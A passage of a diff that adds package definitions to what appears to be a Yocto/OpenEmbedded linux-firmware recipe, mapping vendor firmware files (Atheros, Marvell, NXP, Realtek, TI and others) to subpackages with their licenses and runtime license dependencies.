+ ${PN}-iwlwifi-3160-7 ${PN}-iwlwifi-3160-8 ${PN}-iwlwifi-3160-9 \
+ ${PN}-iwlwifi-3160-10 ${PN}-iwlwifi-3160-12 ${PN}-iwlwifi-3160-13 \
+ ${PN}-iwlwifi-3160-16 ${PN}-iwlwifi-3160-17 \
+ ${PN}-iwlwifi-6000-4 ${PN}-iwlwifi-6000g2a-5 ${PN}-iwlwifi-6000g2a-6 \
+ ${PN}-iwlwifi-6000g2b-5 ${PN}-iwlwifi-6000g2b-6 \
+ ${PN}-iwlwifi-6050-4 ${PN}-iwlwifi-6050-5 \
+ ${PN}-iwlwifi-7260 \
+ ${PN}-iwlwifi-7265 \
+ ${PN}-iwlwifi-7265d ${PN}-iwlwifi-8000c ${PN}-iwlwifi-8265 \
+ ${PN}-iwlwifi-9000 \
+ ${PN}-iwlwifi-9260 \
+ ${PN}-iwlwifi-misc \
+ ${PN}-ibt-license ${PN}-ibt \
+ ${PN}-ibt-11-5 ${PN}-ibt-12-16 ${PN}-ibt-hw-37-7 ${PN}-ibt-hw-37-8 \
+ ${PN}-ibt-17 \
+ ${PN}-ibt-20 \
+ ${PN}-ibt-misc \
+ ${PN}-i915-license ${PN}-i915 \
+ ${PN}-ice-license ${PN}-ice \
+ ${PN}-ice-enhanced-license ${PN}-ice-enhanced \
+ ${PN}-adsp-sst-license ${PN}-adsp-sst \
+ ${PN}-bnx2 \
+ ${PN}-bnx2x \
+ ${PN}-liquidio \
+ ${PN}-mellanox \
+ ${PN}-nvidia-license \
+ ${PN}-nvidia-tegra-k1 ${PN}-nvidia-tegra \
+ ${PN}-nvidia-gpu \
+ ${PN}-nxp-license \
+ ${PN}-nxp8987-sdio \
+ ${PN}-nxp8997-common \
+ ${PN}-nxp8997-pcie \
+ ${PN}-nxp8997-sdio \
+ ${PN}-nxp9098-common \
+ ${PN}-nxp9098-pcie \
+ ${PN}-nxp9098-sdio \
+ ${PN}-nxpiw416-sdio \
+ ${PN}-nxpiw612-sdio \
+ ${PN}-nxp-mc-license ${PN}-nxp-mc \
+ ${PN}-netronome-license ${PN}-netronome \
+ ${PN}-olpc-license ${PN}-olpc \
+ ${PN}-phanfw-license ${PN}-phanfw \
+ ${PN}-powervr-license ${PN}-powervr \
+ ${PN}-prestera \
+ ${PN}-qat ${PN}-qat-license \
+ ${PN}-qed \
+ ${PN}-qcom-license ${PN}-qcom-yamato-license \
+ ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 ${PN}-qcom-venus-5.2 ${PN}-qcom-venus-5.4 ${PN}-qcom-venus-6.0 \
+ ${PN}-qcom-vpu-1.0 ${PN}-qcom-vpu-2.0 \
+ ${PN}-qcom-adreno-a2xx ${PN}-qcom-adreno-a3xx ${PN}-qcom-adreno-a4xx ${PN}-qcom-adreno-a530 \
+ ${PN}-qcom-adreno-a630 ${PN}-qcom-adreno-a650 ${PN}-qcom-adreno-a660 ${PN}-qcom-adreno-a702 \
+ ${PN}-qcom-apq8016-modem ${PN}-qcom-apq8016-wifi \
+ ${PN}-qcom-apq8096-adreno ${PN}-qcom-apq8096-audio ${PN}-qcom-apq8096-modem \
+ ${PN}-qcom-qcm2290-adreno ${PN}-qcom-qcm2290-audio ${PN}-qcom-qcm2290-modem ${PN}-qcom-qcm2290-wifi \
+ ${PN}-qcom-qrb4210-adreno ${PN}-qcom-qrb4210-audio ${PN}-qcom-qrb4210-compute \
+ ${PN}-qcom-qrb4210-modem ${PN}-qcom-qrb4210-wifi \
+ ${PN}-qcom-sc8280xp-lenovo-x13s-compat \
+ ${PN}-qcom-sc8280xp-lenovo-x13s-audio \
+ ${PN}-qcom-sc8280xp-lenovo-x13s-adreno \
+ ${PN}-qcom-sc8280xp-lenovo-x13s-compute \
+ ${PN}-qcom-sc8280xp-lenovo-x13s-sensors \
+ ${PN}-qcom-sdm845-adreno ${PN}-qcom-sdm845-audio ${PN}-qcom-sdm845-compute ${PN}-qcom-sdm845-modem \
+ ${PN}-qcom-sdm845-thundercomm-db845c-sensors \
+ ${PN}-qcom-sm8250-adreno ${PN}-qcom-sm8250-audio ${PN}-qcom-sm8250-compute \
+ ${PN}-qcom-sm8250-thundercomm-rb5-sensors \
+ ${PN}-qla2xxx ${PN}-qla2xxx-license \
+ ${PN}-rockchip-license ${PN}-rockchip-dptx \
+ ${PN}-amlogic-vdec-license ${PN}-amlogic-vdec \
+ ${PN}-lt9611uxc ${PN}-lontium-license \
+ ${PN}-whence-license \
+ ${PN}-wl1251-license ${PN}-wl1251 \
+ ${PN}-xc4000-license ${PN}-xc4000 \
+ ${PN}-xc5000-license ${PN}-xc5000 \
+ ${PN}-xc5000c-license ${PN}-xc5000c \
+ ${PN}-license \
+ "
+
+# For Amphion VPU
+LICENSE:${PN}-amphion-vpu = "Firmware-amphion_vpu"
+LICENSE:${PN}-amphion-vpu-license = "Firmware-amphion_vpu"
+
+FILES:${PN}-amphion-vpu = "${nonarch_base_libdir}/firmware/amphion/*"
+FILES:${PN}-amphion-vpu-license = " \
+ ${nonarch_base_libdir}/firmware/LICENSE.amphion_vpu \
+"
+RDEPENDS:${PN}-amphion-vpu += "${PN}-amphion-vpu-license"
+
+# For cw1200
+LICENSE:${PN}-cw1200 = "Firmware-cw1200"
+LICENSE:${PN}-cw1200-license = "Firmware-cw1200"
+
+FILES:${PN}-cw1200 = "${nonarch_base_libdir}/firmware/wsm_22.bin"
+FILES:${PN}-cw1200-license = "${nonarch_base_libdir}/firmware/LICENCE.cw1200"
+
+RDEPENDS:${PN}-cw1200 += "${PN}-cw1200-license"
+
+# For atheros
+LICENSE:${PN}-ar5523 = "Firmware-atheros_firmware"
+LICENSE:${PN}-ar9170 = "Firmware-atheros_firmware"
+LICENSE:${PN}-ath3k = "Firmware-atheros_firmware"
+LICENSE:${PN}-ath6k = "Firmware-atheros_firmware"
+LICENSE:${PN}-ath9k = "Firmware-atheros_firmware"
+LICENSE:${PN}-atheros-license = "Firmware-atheros_firmware"
+
+FILES:${PN}-atheros-license = "${nonarch_base_libdir}/firmware/LICENCE.atheros_firmware"
+FILES:${PN}-ar5523 = " \
+ ${nonarch_base_libdir}/firmware/ar5523.bin \
+"
+FILES:${PN}-ar9170 = " \
+ ${nonarch_base_libdir}/firmware/ar9170*.fw \
+"
+FILES:${PN}-ath3k = " \
+ ${nonarch_base_libdir}/firmware/ath3k*fw \
+"
+FILES:${PN}-ath6k = " \
+ ${nonarch_base_libdir}/firmware/ath6k \
+"
+FILES:${PN}-ath9k = " \
+ ${nonarch_base_libdir}/firmware/ar9271.fw \
+ ${nonarch_base_libdir}/firmware/ar7010*.fw \
+ ${nonarch_base_libdir}/firmware/htc_9271.fw \
+ ${nonarch_base_libdir}/firmware/htc_7010.fw \
+ ${nonarch_base_libdir}/firmware/ath9k_htc/htc_7010-1.4.0.fw \
+ ${nonarch_base_libdir}/firmware/ath9k_htc/htc_9271-1.4.0.fw \
+"
+
+RDEPENDS:${PN}-ar5523 += "${PN}-atheros-license"
+RDEPENDS:${PN}-ar9170 += "${PN}-atheros-license"
+RDEPENDS:${PN}-ath6k += "${PN}-atheros-license"
+RDEPENDS:${PN}-ath9k += "${PN}-atheros-license"
+
+# For carl9170
+
+FILES:${PN}-carl9170 = " \
+ ${nonarch_base_libdir}/firmware/carl9170*.fw \
+"
+LICENSE:${PN}-carl9170 = "GPL-2.0-or-later"
+
+# For QualCommAthos
+LICENSE:${PN}-ar3k = "Firmware-qualcommAthos_ar3k & Firmware-atheros_firmware"
+LICENSE:${PN}-ar3k-license = "Firmware-qualcommAthos_ar3k"
+LICENSE:${PN}-ath10k = "Firmware-qualcommAthos_ath10k"
+LICENSE:${PN}-ath10k-license = "Firmware-qualcommAthos_ath10k"
+LICENSE:${PN}-qca = "Firmware-qualcommAthos_ath10k"
+
+FILES:${PN}-ar3k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ar3k"
+FILES:${PN}-ar3k = " \
+ ${nonarch_base_libdir}/firmware/ar3k \
+"
+
+FILES:${PN}-ath10k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ath10k"
+FILES:${PN}-ath10k = " \
+ ${nonarch_base_libdir}/firmware/ath10k \
+"
+
+FILES:${PN}-ath11k = " \
+ ${nonarch_base_libdir}/firmware/ath11k \
+"
+
+FILES:${PN}-qca = " \
+ ${nonarch_base_libdir}/firmware/qca \
+"
+
+RDEPENDS:${PN}-ar3k += "${PN}-ar3k-license ${PN}-atheros-license"
+RDEPENDS:${PN}-ath10k += "${PN}-ath10k-license"
+RDEPENDS:${PN}-ath11k += "${PN}-ath10k-license"
+RDEPENDS:${PN}-qca += "${PN}-ath10k-license"
+
+# For ralink
+LICENSE:${PN}-ralink = "Firmware-ralink-firmware"
+LICENSE:${PN}-ralink-license = "Firmware-ralink-firmware"
+
+FILES:${PN}-ralink-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink-firmware.txt"
+FILES:${PN}-ralink = " \
+ ${nonarch_base_libdir}/firmware/rt*.bin \
+"
+
+RDEPENDS:${PN}-ralink += "${PN}-ralink-license"
+
+# For mediatek MT7601U
+LICENSE:${PN}-mt76x-license = "Firmware-ralink_a_mediatek_company_firmware"
+FILES:${PN}-mt76x-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware"
+
+LICENSE:${PN}-mt7601u = "Firmware-ralink_a_mediatek_company_firmware"
+
+FILES:${PN}-mt7601u = " \
+ ${nonarch_base_libdir}/firmware/mediatek/mt7601u.bin \
+ ${nonarch_base_libdir}/firmware/mt7601u.bin \
+"
+RDEPENDS:${PN}-mt7601u += "${PN}-mt76x-license"
+
+# For MediaTek Bluetooth USB driver 7650
+LICENSE:${PN}-mt7650 = "Firmware-ralink_a_mediatek_company_firmware"
+
+FILES:${PN}-mt7650 = " \
+ ${nonarch_base_libdir}/firmware/mediatek/mt7650.bin \
+ ${nonarch_base_libdir}/firmware/mt7650.bin \
+"
+RDEPENDS:${PN}-mt7650 += "${PN}-mt76x-license"
+
+# For MediaTek MT76x2 Wireless MACs
+LICENSE:${PN}-mt76x2 = "Firmware-ralink_a_mediatek_company_firmware"
+
+FILES:${PN}-mt76x2 = " \
+ ${nonarch_base_libdir}/firmware/mediatek/mt7662.bin \
+ ${nonarch_base_libdir}/firmware/mt7662.bin \
+ ${nonarch_base_libdir}/firmware/mediatek/mt7662_rom_patch.bin \
+ ${nonarch_base_libdir}/firmware/mt7662_rom_patch.bin \
+"
+RDEPENDS:${PN}-mt76x2 += "${PN}-mt76x-license"
+
+# For MediaTek
+LICENSE:${PN}-mediatek = "Firmware-mediatek"
+LICENSE:${PN}-mediatek-license = "Firmware-mediatek"
+
+FILES:${PN}-mediatek = " \
+ ${nonarch_base_libdir}/firmware/mediatek/* \
+ ${nonarch_base_libdir}/firmware/vpu_d.bin \
+ ${nonarch_base_libdir}/firmware/vpu_p.bin \
+"
+FILES:${PN}-mediatek-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.mediatek \
+"
+RDEPENDS:${PN}-mediatek += "${PN}-mediatek-license"
+
+# For Microchip
+LICENSE:${PN}-microchip = "Firmware-microchip"
+LICENSE:${PN}-microchip-license = "Firmware-microchip"
+
+FILES:${PN}-microchip = "${nonarch_base_libdir}/firmware/microchip/*"
+FILES:${PN}-microchip-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.microchip \
+"
+RDEPENDS:${PN}-microchip += "${PN}-microchip-license"
+
+# For MOXA
+LICENSE:${PN}-moxa = "Firmware-moxa"
+LICENSE:${PN}-moxa-license = "Firmware-moxa"
+
+FILES:${PN}-moxa = "${nonarch_base_libdir}/firmware/moxa"
+FILES:${PN}-moxa-license = "${nonarch_base_libdir}/firmware/LICENCE.moxa"
+
+RDEPENDS:${PN}-moxa += "${PN}-moxa-license"
+
+# For radeon
+
+LICENSE:${PN}-radeon = "Firmware-radeon"
+LICENSE:${PN}-radeon-license = "Firmware-radeon"
+
+FILES:${PN}-radeon-license = "${nonarch_base_libdir}/firmware/LICENSE.radeon"
+FILES:${PN}-radeon = " \
+ ${nonarch_base_libdir}/firmware/radeon \
+"
+
+RDEPENDS:${PN}-radeon += "${PN}-radeon-license"
+
+# For amdgpu
+LICENSE:${PN}-amdgpu = "Firmware-amdgpu"
+LICENSE:${PN}-amdgpu-license = "Firmware-amdgpu"
+
+FILES:${PN}-amdgpu-license = "${nonarch_base_libdir}/firmware/LICENSE.amdgpu"
+FILES:${PN}-amdgpu = " \
+ ${nonarch_base_libdir}/firmware/amdgpu \
+"
+
+RDEPENDS:${PN}-amdgpu += "${PN}-amdgpu-license"
+
+# For lontium
+LICENSE:${PN}-lt9611uxc = "Firmware-Lontium"
+
+FILES:${PN}-lontium-license = "${nonarch_base_libdir}/firmware/LICENSE.Lontium"
+FILES:${PN}-lt9611uxc = "${nonarch_base_libdir}/firmware/lt9611uxc_fw.bin"
+
+# For marvell
+LICENSE:${PN}-pcie8897 = "Firmware-Marvell"
+LICENSE:${PN}-pcie8997 = "Firmware-Marvell"
+LICENSE:${PN}-sd8686 = "Firmware-Marvell"
+LICENSE:${PN}-sd8688 = "Firmware-Marvell"
+LICENSE:${PN}-sd8787 = "Firmware-Marvell"
+LICENSE:${PN}-sd8797 = "Firmware-Marvell"
+LICENSE:${PN}-sd8801 = "Firmware-Marvell"
+LICENSE:${PN}-sd8887 = "Firmware-Marvell"
+LICENSE:${PN}-sd8897 = "Firmware-Marvell"
+LICENSE:${PN}-sd8997 = "Firmware-Marvell"
+LICENSE:${PN}-usb8997 = "Firmware-Marvell"
+LICENSE:${PN}-marvell-license = "Firmware-Marvell"
+
+FILES:${PN}-marvell-license = "${nonarch_base_libdir}/firmware/LICENCE.Marvell"
+FILES:${PN}-pcie8897 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/pcie8897_uapsta.bin \
+"
+FILES:${PN}-pcie8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/pcie8997_wlan_v4.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/pcieuart8997_combo_v4.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/pcieusb8997_combo_v4.bin \
+"
+FILES:${PN}-sd8686 = " \
+ ${nonarch_base_libdir}/firmware/libertas/sd8686_v9* \
+ ${nonarch_base_libdir}/firmware/sd8686* \
+"
+FILES:${PN}-sd8688 = " \
+ ${nonarch_base_libdir}/firmware/libertas/sd8688* \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8688* \
+"
+FILES:${PN}-sd8787 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8787_uapsta.bin \
+"
+FILES:${PN}-sd8797 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8797_uapsta.bin \
+"
+FILES:${PN}-sd8801 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8801_uapsta.bin \
+"
+FILES:${PN}-sd8887 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8887_uapsta.bin \
+"
+FILES:${PN}-sd8897 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8897_uapsta.bin \
+"
+do_install:append() {
+ # The kernel 5.6.x driver still uses the old name, provide a symlink for
+ # older kernels
+ ln -fs sdsd8997_combo_v4.bin ${D}${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin
+}
+FILES:${PN}-sd8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/sdsd8997_combo_v4.bin \
+"
+FILES:${PN}-usb8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/usbusb8997_combo_v4.bin \
+"
+
+RDEPENDS:${PN}-sd8686 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8688 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8787 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8797 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8801 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8887 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8897 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8997 += "${PN}-marvell-license"
+RDEPENDS:${PN}-usb8997 += "${PN}-marvell-license"
+
+# For netronome
+LICENSE:${PN}-netronome = "Firmware-netronome"
+
+FILES:${PN}-netronome-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.Netronome \
+"
+FILES:${PN}-netronome = " \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0081*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0096*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0097*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0099*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0058-0011_2x40.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0058-0012_2x40.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0078-0011_1x100.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/bpf \
+ ${nonarch_base_libdir}/firmware/netronome/flower \
+ ${nonarch_base_libdir}/firmware/netronome/nic \
+ ${nonarch_base_libdir}/firmware/netronome/nic-sriov \
+"
+
+RDEPENDS:${PN}-netronome += "${PN}-netronome-license"
+
+# For NXP
+LICENSE:${PN}-nxp8987-sdio = "Firmware-nxp"
+LICENSE:${PN}-nxp8997-common = "Firmware-nxp"
+LICENSE:${PN}-nxp8997-pcie = "Firmware-nxp"
+LICENSE:${PN}-nxp8997-sdio = "Firmware-nxp"
+LICENSE:${PN}-nxp9098-common = "Firmware-nxp"
+LICENSE:${PN}-nxp9098-pcie = "Firmware-nxp"
+LICENSE:${PN}-nxp9098-sdio = "Firmware-nxp"
+LICENSE:${PN}-nxpiw416-sdio = "Firmware-nxp"
+LICENSE:${PN}-nxpiw612-sdio = "Firmware-nxp"
+LICENSE:${PN}-nxp-license = "Firmware-nxp"
+
+FILES:${PN}-nxp8987-sdio = "${nonarch_base_libdir}/firmware/nxp/*8987*"
+FILES:${PN}-nxp8997-common = " \
+ ${nonarch_base_libdir}/firmware/nxp/uartuart8997_bt_v4.bin \
+ ${nonarch_base_libdir}/firmware/nxp/helper_uart_3000000.bin \
+"
+ALLOW_EMPTY:${PN}-nxp8997-pcie = "1"
+ALLOW_EMPTY:${PN}-nxp8997-sdio = "1"
+FILES:${PN}-nxp9098-common = "${nonarch_base_libdir}/firmware/nxp/uartuart9098_bt_v1.bin"
+ALLOW_EMPTY:${PN}-nxp9098-pcie = "1"
+ALLOW_EMPTY:${PN}-nxp9098-sdio = "1"
+FILES:${PN}-nxpiw416-sdio = "${nonarch_base_libdir}/firmware/nxp/*iw416*"
+FILES:${PN}-nxpiw612-sdio = "${nonarch_base_libdir}/firmware/nxp/uartspi_n61x_v1.bin.se"
+FILES:${PN}-nxp-license = "${nonarch_base_libdir}/firmware/LICENSE.nxp"
+
+RDEPENDS:${PN}-nxp8987-sdio += "${PN}-nxp-license"
+RDEPENDS:${PN}-nxp8997-common += "${PN}-nxp-license"
+RDEPENDS:${PN}-nxp8997-pcie += "${PN}-nxp8997-common"
+RDEPENDS:${PN}-nxp8997-sdio += "${PN}-nxp8997-common"
+RDEPENDS:${PN}-nxp9098-common += "${PN}-nxp-license"
+RDEPENDS:${PN}-nxp9098-pcie += "${PN}-nxp9098-common"
+RDEPENDS:${PN}-nxp9098-sdio += "${PN}-nxp9098-common"
+RDEPENDS:${PN}-nxpiw416-sdio += "${PN}-nxp-license"
+RDEPENDS:${PN}-nxpiw612-sdio += "${PN}-nxp-license"
+
+# For nxp-mc
+LICENSE:${PN}-nxp-mc = "Firmware-nxp_mc_firmware"
+LICENSE:${PN}-nxp-mc-license = "Firmware-nxp_mc_firmware"
+
+FILES:${PN}-nxp-mc= "${nonarch_base_libdir}/firmware/dpaa2/mc/*"
+FILES:${PN}-nxp-mc-license = " \
+ ${nonarch_base_libdir}/firmware/LICENSE.nxp_mc_firmware \
+"
+RDEPENDS:${PN}-nxp-mc += "${PN}-nxp-mc-license"
+
+# For Nvidia
+LICENSE:${PN}-nvidia-gpu = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-tegra = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-tegra-k1 = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-license = "Firmware-nvidia"
+
+FILES:${PN}-nvidia-gpu = "${nonarch_base_libdir}/firmware/nvidia"
+FILES:${PN}-nvidia-tegra = " \
+ ${nonarch_base_libdir}/firmware/nvidia/tegra* \
+ ${nonarch_base_libdir}/firmware/nvidia/gm20b \
+ ${nonarch_base_libdir}/firmware/nvidia/gp10b \
+"
+FILES:${PN}-nvidia-tegra-k1 = " \
+ ${nonarch_base_libdir}/firmware/nvidia/tegra124 \
+ ${nonarch_base_libdir}/firmware/nvidia/gk20a \
+"
+FILES:${PN}-nvidia-license = "${nonarch_base_libdir}/firmware/LICENCE.nvidia"
+
+RDEPENDS:${PN}-nvidia-gpu += "${PN}-nvidia-license"
+RDEPENDS:${PN}-nvidia-tegra += "${PN}-nvidia-license"
+RDEPENDS:${PN}-nvidia-tegra-k1 += "${PN}-nvidia-license"
+
+# For OLPC
+LICENSE:${PN}-olpc = "Firmware-OLPC"
+LICENSE:${PN}-olpc-license = "Firmware-OLPC"
+
+FILES:${PN}-olpc = " \
+ ${nonarch_base_libdir}/firmware/libertas/lbtf_sdio.bin \
+ ${nonarch_base_libdir}/firmware/lbtf_usb.bin \
+ ${nonarch_base_libdir}/firmware/libertas/usb8388_olpc.bin \
+"
+FILES:${PN}-olpc-license = "${nonarch_base_libdir}/firmware/LICENCE.OLPC"
+
+RDEPENDS:${PN}-olpc += "${PN}-olpc-license"
+
+# For phanfw
+LICENSE:${PN}-phanfw = "Firmware-phanfw"
+LICENSE:${PN}-phanfw-license = "Firmware-phanfw"
+
+FILES:${PN}-phanfw = "${nonarch_base_libdir}/firmware/phanfw.bin"
+FILES:${PN}-phanfw-license = "${nonarch_base_libdir}/firmware/LICENCE.phanfw"
+
+RDEPENDS:${PN}-phanfw += "${PN}-phanfw-license"
+
+# For PowerVR
+LICENSE:${PN}-powervr = "Firmware-powervr"
+LICENSE:${PN}-powervr-license = "Firmware-powervr"
+
+FILES:${PN}-powervr = "${nonarch_base_libdir}/firmware/powervr"
+FILES:${PN}-powervr-license = "${nonarch_base_libdir}/firmware/LICENSE.powervr"
+
+RDEPENDS:${PN}-powervr += "${PN}-powervr-license"
+
+# For qla2xxx
+LICENSE:${PN}-qla2xxx = "Firmware-qla2xxx"
+LICENSE:${PN}-qla2xxx-license = "Firmware-qla2xxx"
+
+FILES:${PN}-qla2xxx = "${nonarch_base_libdir}/firmware/ql2*"
+FILES:${PN}-qla2xxx-license = "${nonarch_base_libdir}/firmware/LICENCE.qla2xxx"
+
+RDEPENDS:${PN}-qla2xxx += "${PN}-qla2xxx-license"
+
+# For RSI RS911x WiFi
+LICENSE:${PN}-rs9113 = "WHENCE"
+LICENSE:${PN}-rs9116 = "WHENCE"
+
+FILES:${PN}-rs9113 = " ${nonarch_base_libdir}/firmware/rsi/rs9113*.rps "
+FILES:${PN}-rs9116 = " ${nonarch_base_libdir}/firmware/rsi/rs9116*.rps "
+
+RDEPENDS:${PN}-rs9113 += "${PN}-whence-license"
+RDEPENDS:${PN}-rs9116 += "${PN}-whence-license"
+
+# For rtl
+LICENSE:${PN}-rtl8188 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192cu = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192ce = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192su = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8723 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8761 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8821 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8822 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl-license = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl-nic = "WHENCE"
+LICENSE:${PN}-rtl8168 = "WHENCE"
+
+FILES:${PN}-rtl-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.rtlwifi_firmware.txt \
+"
+FILES:${PN}-rtl8188 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8188*.bin \
+"
+FILES:${PN}-rtl8192cu = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cufw*.bin \
+"
+FILES:${PN}-rtl8192ce = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cfw*.bin \
+"
+FILES:${PN}-rtl8192su = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8712u.bin \
+"
+FILES:${PN}-rtl8723 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8723*.bin \
+"
+FILES:${PN}-rtl8821 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8821*.bin \
+ ${nonarch_base_libdir}/firmware/rtw88/rtw8821*.bin \
+"
+FILES:${PN}-rtl8761 = " \
+ ${nonarch_base_libdir}/firmware/rtl_bt/rtl8761*.bin \
+"
+FILES:${PN}-rtl8168 = " \
+ ${nonarch_base_libdir}/firmware/rtl_nic/rtl8168*.fw \
+"
+FILES:${PN}-rtl8822 = " \
+ ${nonarch_base_libdir}/firmware/rtl_bt/rtl8822*.bin \
+ ${nonarch_base_libdir}/firmware/rtw88/rtw8822*.bin \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8822*.bin \
+"
+FILES:${PN}-rtl-nic = " \
+ ${nonarch_base_libdir}/firmware/rtl_nic/*.fw \
+"
+
+RDEPENDS:${PN}-rtl8188 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192ce += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192cu += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192su = "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8723 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8821 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8761 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8822 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8168 += "${PN}-whence-license"
+RDEPENDS:${PN}-rtl-nic += "${PN}-whence-license"
+
+# For TI wl1251
+LICENSE:${PN}-wl1251 = "Firmware-wl1251"
+LICENSE:${PN}-wl1251-license = "Firmware-wl1251"
+
+FILES:${PN}-wl1251 = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl1251-fw.bin \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl1251-nvs.bin \
+"
+FILES:${PN}-wl1251-license = "${nonarch_base_libdir}/firmware/LICENCE.wl1251"
+
+RDEPENDS:${PN}-wl1251 += "${PN}-wl1251-license"
+
+# For ti-connectivity
+LICENSE:${PN}-wlcommon = "Firmware-ti-connectivity"
+LICENSE:${PN}-wl12xx = "Firmware-ti-connectivity"
+LICENSE:${PN}-wl18xx = "Firmware-ti-connectivity"
+LICENSE:${PN}-ti-connectivity-license = "Firmware-ti-connectivity"
+
+FILES:${PN}-ti-connectivity-license = "${nonarch_base_libdir}/firmware/LICENCE.ti-connectivity"
+# wl18xx optionally needs wl1271-nvs.bin (which itself is a symlink to
+# wl127x-nvs.bin) - see linux/drivers/net/wireless/ti/wlcore/sdio.c
+# and drivers/net/wireless/ti/wlcore/spi.c.
+# While they're optional and actually only used to override the MAC
+# address on wl18xx, driver loading will delay (by udev timout - 60s)
+# if not there. So let's make it available always. Because it's a
+# symlink, both need to go to wlcommon.
+FILES:${PN}-wlcommon = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/TI* \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl127x-nvs.bin \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl1271-nvs.bin \
+"
+FILES:${PN}-wl12xx = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl12* \
+"
+FILES:${PN}-wl18xx = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl18* \
+"
+
+RDEPENDS:${PN}-wl12xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
+RDEPENDS:${PN}-wl18xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
+
+# For ti-keystone
+LICENSE:${PN}-ti-keystone = "Firmware-ti-keystone"
+LICENSE:${PN}-ti-keystone-license = "Firmware-ti-keystone"
+
+FILES:${PN}-ti-keystone = "${nonarch_base_libdir}/firmware/ti-keystone/*"
+FILES:${PN}-ti-keystone-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.ti-keystone \
+"
+RDEPENDS:${PN}-ti-keystone += "${PN}-ti-keystone-license"
+
+# For vt6656
+LICENSE:${PN}-vt6656 = "Firmware-via_vt6656"
+LICENSE:${PN}-vt6656-license = "Firmware-via_vt6656"
+
+FILES:${PN}-vt6656-license = "${nonarch_base_libdir}/firmware/LICENCE.via_vt6656"
+FILES:${PN}-vt6656 = " \
+ ${nonarch_base_libdir}/firmware/vntwusb.fw \
+"
+
+RDEPENDS:${PN}-vt6656 = "${PN}-vt6656-license"
+
+# For xc4000
+LICENSE:${PN}-xc4000 = "Firmware-xc4000"
+LICENSE:${PN}-xc4000-license = "Firmware-xc4000"
+
+FILES:${PN}-xc4000 = "${nonarch_base_libdir}/firmware/dvb-fe-xc4000-1.4.1.fw"
+FILES:${PN}-xc4000-license = "${nonarch_base_libdir}/firmware/LICENCE.xc4000"
+
